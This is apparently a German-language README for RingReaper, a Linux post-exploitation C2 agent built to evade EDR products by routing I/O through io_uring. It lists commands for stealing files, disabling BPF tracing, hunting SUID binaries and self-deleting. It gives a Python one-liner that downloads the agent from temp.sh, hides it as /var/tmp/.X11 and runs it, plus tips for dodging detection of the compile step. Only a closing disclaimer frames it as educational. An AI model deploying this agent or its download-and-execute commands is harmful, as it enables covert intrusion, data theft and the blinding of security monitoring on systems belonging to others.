
Linux-Post-Exploitation-Agent, der io_uring nutzt, um EDR-Erkennung heimlich zu umgehen, indem er herkömmliche Syscalls vermeidet.
RingReaper ist ein einfacher Post-Exploitation-Agent für Linux, der für alle entwickelt wurde, die stealth-operieren müssen und die Chancen minimieren wollen, von EDR-Lösungen erkannt zu werden. Die Idee hinter diesem Projekt war es, io_uring – die neue asynchrone E/A-Schnittstelle im Linux-Kernel – zu nutzen, insbesondere um traditionelle Systemaufrufe zu vermeiden, die die meisten EDRs zu überwachen oder sogar zu hooken pflegen.
In der Praxis ersetzt RingReaper Aufrufe wie read, write, recv, send, connect und andere durch asynchrone E/A-Operationen (io_uring_prep_*) und reduziert so die Angriffsfläche für Hooks und Event-Tracing, das von Sicherheitsprodukten typischerweise standardisiert erfasst wird.
HINWEIS: Einige Funktionen innerhalb von RingReaper verlassen sich weiterhin auf traditionelle Aufrufe, wie z. B. das Lesen von Verzeichnissen (
opendir,readdir) oder die Auflösung symbolischer Links (readlink), da io_uring diese Arten von Operationen nativ noch nicht vollständig unterstützt. Trotzdem lösten diese Aufrufe in meinen Tests keine Alarme bei den getesteten EDRs aus, gerade weil sie außerhalb der überwachten Netzwerk-E/A-Pfade liegen.
Zusammenfassend wurde RingReaper gebaut, um traditionelle Aufrufe so weit wie möglich zu vermeiden, und selbst in Fällen, in denen sie verwendet werden mussten, zeigte es hervorragende Evasionsfähigkeiten – ohne Alarme oder Erkennungen durch gängige Sicherheitsagenten.
Den vollständigen und detaillierten Artikel findest du unter:
https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
Autor: https://www.linkedin.com/in/mathsalves/
Rootkit-Forscher
| Befehl | Beschreibung | Backend |
|---|---|---|
get | Dateien vom Ziel auslesen | 100 % io_uring |
put | Dateien hochladen (verwendet recv auf der Agent-Seite) | 100 % io_uring |
killbpf | Tracing deaktivieren, /sys/fs/bpf-Dateien entfernen und Prozesse beenden, die bpf-map verwenden | traditionelle Aufrufe + io_uring |
users | Angemeldete Benutzer durch Lesen von utmp auflisten | 100 % io_uring |
ss / netstat | TCP-Verbindungen aus /proc/net/tcp auflisten | 100 % io_uring |
privesc | Nach SUID-Binaries suchen mit statx | 100 % io_uring |
ps | Prozesse auflisten (verwendet opendir, readdir) | traditionelle Aufrufe + io_uring |
kick | pts-Sitzungen beenden (verwendet opendir, readdir, kill, readlink) | traditionelle Aufrufe + io_uring |
me | PID/TTY anzeigen (getpid, ttyname) | traditionelle Aufrufe + io_uring |
selfdestruct | Die aktuelle Binärdatei löschen (verwendet readlink) | traditionelle Aufrufe + io_uring |
exit | Verbindung beenden und Programm beenden | 100 % io_uring |
help | Hilfe anzeigen | 100 % io_uring |
In RingReaper muss der gesamte Datenverkehr – einschließlich Steuerbefehlen, Uploads und Downloads – durch io_uring laufen. Dadurch wird außerdem sichergestellt, dass die sensibelsten Operationen unter dem Radar von Hooks und EDR-Überwachung bleiben, die auf traditionellen Aufrufen basiert.
RingReaper wurde von Grund auf entwickelt, um die EDR-Überwachung zu umgehen. Viele Sicherheitslösungen basieren ihre Erkennungsauslöser auf dem Abfangen klassischer Syscalls (read, recv, send, connect) auf Kernebene. Da io_uring relativ neu und weniger in die Telemetrie-Pipeline dieser Produkte integriert ist, bleibt es bei den meisten Agenten oft unbemerkt, was C2-Sitzungen und Datenexfiltration ohne Auslösen von Alarmen ermöglicht.
Selbst Funktionen, die weiterhin auf ältere Syscalls angewiesen sind (wie das Lesen von Verzeichnissen), blieben diskret genug, um keine Alarme auszulösen.
liburing-BibliothekGetestet NUR auf den folgenden Kernel-Versionen:
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static
Beim Testen habe ich festgestellt, dass der EDR die Kompilierung von agent.c erkennt, indem er die GCC-Nutzung in Echtzeit überwacht (es ist besser, wget/curl nicht zu verwenden). Um dies zu umgehen, habe ich den Agenten auf meinem Rechner statisch kompiliert, die fertige Binärdatei über temp.sh gesendet und auf dem Ziel Python verwendet, um sie herunterzuladen und auszuführen. Diese Technik funktionierte ohne Warnung.
Server (Angreifer-Box):
curl -F "file=@agent" https://temp.sh/uploadpython3 server.py --ip IP --port 443Agent (Zielmaschine):
python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"Version 2.0:
Du kannst gerne Pull Requests erstellen und zum Projekt beitragen. Falls bei RingReaper Fehler auftreten, erstelle bitte ein Issue und melde es uns.
Dieser Code wurde ausschließlich für Bildungszwecke, Forschung und kontrollierte Demonstrationen von Evasionstechniken entwickelt. Jegliche Verwendung außerhalb autorisierter Umgebungen oder für böswillige Zwecke ist strengstens untersagt und liegt vollständig in der Verantwortung des Nutzers. Unautorisierte oder illegale Nutzung kann gegen lokale, nationale oder internationale Gesetze verstoßen.